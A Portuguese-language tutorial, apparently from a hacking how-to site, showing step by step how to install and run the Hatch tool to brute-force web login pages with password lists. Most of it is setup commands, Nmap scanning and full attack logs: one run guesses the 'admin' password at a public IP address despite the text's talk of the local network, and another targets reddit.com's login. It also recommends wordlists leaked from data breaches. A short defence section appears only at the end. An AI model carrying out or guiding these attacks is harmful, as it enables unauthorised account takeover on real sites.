Como funcionam os ataques de força bruta
Os ataques de força bruta se aproveitam da automação para tentar muito mais senhas do que um ser humano poderia, invadindo um sistema por tentativa e erro. Ataques de força bruta mais direcionados usam uma lista de senhas comuns para acelerar isso, chamados de ataques de dicionário, e usar essa técnica para verificar senhas fracas geralmente é o primeiro ataque que um hacker tentará contra um sistema.
Em um ataque de força bruta contra um serviço como o SSH, ele pode ser feito a partir da linha de comando facilmente por ferramentas como o Sshtrix. Em uma única linha em um terminal, é fácil lançar um ataque de dicionário contra um servidor SSH descoberto usando a lista de senhas integrada, tornando os serviços com senhas incorretas extremamente propensos a serem invadidos.
Por que os ataques de força bruta são mais difíceis em sites
Embora seja fácil atacar um serviço que usa um nome de usuário e senha sobre a linha de comando, há muito mais acontecendo no código de um site. Para projetar esse ataque, precisamos pensar no que o roteiro precisa saber para fazer seu trabalho.
Queremos que o script encontre a senha correta associada a uma conta específica, inserindo um palpite nos campos da página de login e enviando-o até que obtenhamos um resultado bem-sucedido. Para isso, devemos interagir com a interface gráfica do usuário da página de login para inserir as informações nos campos corretos dos campos de login e senha.
Depois de fazer isso, precisamos enviar o palpite clicando no botão “Login” na página. Finalmente, precisamos que o script saiba a diferença entre uma falha e um sucesso, para que possamos parar o script e identificar o palpite de senha correto.
Tudo isso é muito mais trabalhoso e bastante confuso para iniciantes, mas depois de fazer isso, automatizar ataques de força bruta contra a página de login da maioria dos sites pode ser feito de forma semelhante a forçar um serviço SSH.
Hatch para logins da Web com força bruta
Python é uma linguagem ideal para automatizar esses tipos de ataques, e Hatch usa Python2 para automatizar o navegador Chrome para preparar um ataque de dicionário contra o login de qualquer página da Web com um fórum de login visível. Enquanto alguns sites com fóruns de login ocultos que exigem que você role ou clique para mostrar podem confundir o script, a maioria dos sites é fácil de segmentar usando essa ferramenta.
Ao iniciar o Hatch, o script abre uma janela do Chrome para você inspecionar os elementos da página que você está segmentando. Depois de dizer ao script em qual site você deseja forçar um login, ele verificará se a página existe e está acessível. Se for, Hatch perguntará qual login você deseja fazer com força bruta e, em seguida, solicitará uma lista de senhas para tentar durante o ataque.
Depois que o Hatch tiver as informações necessárias, ele abrirá uma segunda janela do Chrome e começará a automatizar o ataque. Você pode sentar e assistir ao desenrolar do ataque na janela do Chrome ou no terminal que está executando o ataque. No terminal, você pode assistir a cada tentativa de senha à medida que o script progride na lista. Embora esse ataque seja poderoso e útil contra uma ampla gama de alvos, ele também pode ser frustrado pela limitação de taxa e outros métodos de bloqueio de tentativas excessivas de login.
O que você vai precisar
Embora o Hatch seja multiplataforma, foi um pouco complicado de configurar em alguns sistemas. Acabamos colocando o Hatch trabalhando em um sistema Windows com algumas modificações no script, que incluímos aqui.
Para seguir este guia, você precisará de um sistema Windows com Chrome e Python 2 instalados. A versão atual e moderna do Python é o Python3, então você precisará se certificar de que está usando a versão correta ao executar o script. Se você executar o Hatch com o Python3, ele não funcionará corretamente.
Você também precisará instalar algumas dependências, incluindo um driver, para poder interagir com o Chrome programaticamente.
Passo 1Verifique sua versão do Python
Primeiro, precisaremos instalar algumas dependências. Para cuidar disso, pressione a tecla Windows ou clique no menu Iniciar e digite cmd. Depois de abrir um prompt de comando, certifique-se de ter o Python2 instalado corretamente digitando python2 na janela do terminal. Você deve ver um resultado como abaixo.
C:> python2
λ python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>Se você não fizer isso, você pode baixar Python2. Depois que o Python2 estiver instalado, digite os seguintes comandos para instalar dependências.
C:> pip2 install selenium
C:> pip2 install requestsPasso 2Instalar o driver do Chrome
Em seguida, precisaremos instalar o driver que nos permite controlar o Chrome a partir do programa Python. Para fazer isso, baixaremos um arquivo do site do Chrome Driver e, em seguida, criaremos uma pasta chamada webdrivers em sua unidade C. Mova o arquivo baixado para esta pasta. Embora você possa colocá-lo em outro diretório, você precisaria modificar o código Python.
Passo 3Baixar Hatch & Install
Para instalar o Hatch, você pode alterar o diretório em sua unidade C antes de cloná-lo para garantir que você possa encontrá-lo ou alterar para outro local que você possa encontrar. Digite cd .. para ir para a unidade C do seu computador, se for onde você quiser. Em seguida, você pode baixar uma versão bifurcada do Hatch na página do GitHub abrindo uma janela de terminal e digitando o seguinte.
C:> git clone https://github.com/nsgodshall/Hatch.gitEsta versão bifurcada foi modificada para funcionar no Windows. Uma vez que é feito o download, você pode digitar cd Hatch para alterar os diretórios na pasta de download.
C:> cd HatchPasso 4Execute Hatch & Selecione o login do roteador
Agora que temos o Hatch em nosso sistema e todas as dependências instaladas, é hora de executar o Hatch e ver como ele funciona. Primeiro, vamos examinar o arquivo de ajuda executando o seguinte de dentro da pasta Hatch.
C:> python2 main.py -hVocê deve ver uma saída como abaixo.
C:DocumentsPythonScriptsHatch (master -> origin)
λ python2 main.py -h
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel+USERNAMESEL Choose the username selector
--passsel=PASSSEL Choose the password selector
--loginsel=LOGINSEL Choose the login button selector
--passlist+PASSLIST Enter the password list directory
--website=WEBSITE choose a websitePodemos ver as principais opções para Hatch aqui. Para começar, vamos escolher um alvo em nossa rede local para atacar.
Um bom dispositivo em sua rede local para testar isso seria algo como um roteador, uma impressora ou algum outro dispositivo com uma página de login na rede. Você pode selecionar isso executando uma verificação Nmap na rede para localizar quaisquer endereços IP que tenham a porta 80 aberta. Embora a porta 80 seja a página mais comum para acesso à Web, você também pode procurar as portas 81, 8080, 8081, 443 para localizar as páginas de login de vários dispositivos.
Em seguida, precisaremos encontrar o intervalo de sub-rede para que possamos verificar a rede local. Para encontrar isso, você pode usar ipcalc para calcular o intervalo de sub-rede depois de encontrar o endereço IP local do computador. Se o seu computador, por exemplo, tiver um endereço IP 192.168.0.3, você poderá executar o ipcalc 192.168.0.3 para obter o intervalo IP para todos os endereços IP possíveis nessa rede. Nesse caso, seria 192.168.0.0/24.
Depois de saber o intervalo, execute a seguinte varredura Nmap em sua rede, com a parte iprange alterada para adicionar o intervalo IP de sua rede.
C:> sudo nmap -p 80,8080,81,8081,443 iprangeQuando essa verificação retorna, qualquer serviço que liste a porta como “aberta” deve hospedar um site. Navegue até um como uma impressora ou roteador no qual você tem permissão para fazer login, inserindo o endereço IP seguido de dois pontos e o número da porta que descobrimos no Nmap. Você deve ver uma página de login como esta:
Passo 5Identificar os elementos de login
Agora, podemos executar o Hatch, mas ainda precisaremos de mais algumas informações para realizar esse ataque. Execute Hatch digitando o seguinte comando, depois de navegar para a pasta que você salvou o programa anteriormente.
C:> python2 main.pyUma janela do Google Chrome deve ser aberta, permitindo-nos navegar até um site que queremos atacar e começar a identificar as partes do site que queremos manipular.
C:DocumentsPythonScriptsHatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_
| | | | (_| | || (__| | | |
|_| |_|__,_|_____|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]Insira a URL para a página de login do site de destino no primeiro prompt do Hatch. Ele verificará se o site existe e pode ser acessado. Em seguida, precisaremos identificar os elementos de login e senha do site que estamos atacando.
Em nossa página de login de destino, clique com o botão direito do mouse no elemento “Nome de usuário” e, em seguida, clique em “Inspecionar”.
Em seguida, clique nas reticências (•••) à esquerda da janela, e um menu suspenso aparecerá. Clique em “Copiar” e, em seguida, em “Copiar seletor” para copiar o que o Hatch precisará para selecionar e interagir com esse elemento. Deve parecer algo como “#username”.
Digite o seletor de nome de usuário em Hatch e repita o processo com o seletor “Senha”.
C:DocumentsPythonScriptsHatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_
| | | | (_| | || (__| | | |
|_| |_|__,_|_____|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:Finalmente, clique com o botão direito do mouse no botão “Login” para obter as informações do seletor e adicione-as ao Hatch também.
Agora que temos os elementos selecionados, definiremos o nome de usuário que estamos tentando usar com força bruta. Nesse caso, vamos apenas digitar admin. A etapa final será selecionar a lista padrão que vem com o Hatch. Isso é “passlist.txt” por padrão, então usaremos essa lista em nosso primeiro ataque.
C:DocumentsPythonScriptsHatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_
| | | | (_| | || (__| | | |
|_| |_|__,_|_____|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316Essa lista de senhas não é enorme, mas contém muitas senhas comuns. Pressione Return e Hatch abrirá uma nova janela para começar a forçar a senha com o ataque de dicionário. Você pode observar o progresso da janela do terminal ou observando a janela do Chrome que o Hatch está automatizando.
C:DocumentsPythonScriptsHatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_
| | | | (_| | || (__| | | |
|_| |_|__,_|_____|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: adminPasso 6Atualizar sua lista de palavras & Executar em um site externo
Se você não estiver satisfeito com a lista de palavras incluída no Hatch, você pode adicioná-la abrindo-a em um editor de texto como o Nano ou adicionando outra lista de palavras de qualquer repositório de listas de palavras, como as vazadas de violações de dados. Depois de baixar uma lista de palavras de sua escolha, você pode adicioná-la à pasta “Hatch” e selecioná-la em vez da lista padrão.
Depois de ter uma lista de senhas com a qual você está satisfeito, vamos em frente e testar isso em um site padrão. Crie uma conta descartável em Reddit.com ou outro site e lembre-se do nome de login. Defina a senha da conta como uma que esteja em uma das listas de palavras.
Depois que a conta fictícia for configurada, execute novamente o Hatch e entre reddit.com/login (ou a página de login do site que você escolheu). Em seguida, cole os seletores no seletor de login, senha e botão. Finalmente, insira o nome de usuário de destino e selecione a lista de senhas que contém as credenciais corretas. Pressione Return e o script deve abrir uma janela do Chrome e começar a automatizar o ataque.
Uma vez que o script detecta um login bem-sucedido, ele irá gerar a senha que foi bem-sucedida. Enquanto o script original tendia a ignorar isso e gerar a senha errada no Windows, meu amigo Nick modificou o código para evitar que isso acontecesse em sua versão bifurcada. Se você tiver alguma estranheza da versão bifurcada, você sempre pode tentar a versão original do Hatch.
⠀⠀_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_
| | | | (_| | || (__| | | |
|_| |_|__,_|_____|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808
DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty
Have fun :)Como se defender contra a força bruta
Os sites têm a melhor capacidade de se defender contra esses ataques, certificando-se de implementar proteções de força bruta de bom senso para dicionário e outros tipos de ataques. Um usuário comum deve ser capaz de tentar fazer login com a senha errada de um endereço IP estranho 100 vezes? A resposta é provavelmente não. Tenha cuidado extra com sites que não tomam esse tipo de precaução, pois eles estarão mais vulneráveis a perder as informações da sua conta.
No lado do usuário, escolher senhas fortes e aleatórias e armazená-las em um gerenciador de senhas pode ajudar a garantir que sua senha nunca acabe em uma lista de senhas. Em geral, usar a autenticação de dois fatores sempre que possível é sua melhor defesa contra esse tipo de tática, pois você será alertado sobre a tentativa de login. Para contas importantes, você sempre deve ter a autenticação de dois fatores habilitada.
Espero que você tenha gostado deste guia para usar o Hatch para automatizar ataques de dicionário contra logins da web! Se você tiver alguma dúvida sobre este tutorial sobre ataques de dicionário da web ou você tem um comentário, sinta-se livre para escrevê-lo abaixo nos comentários
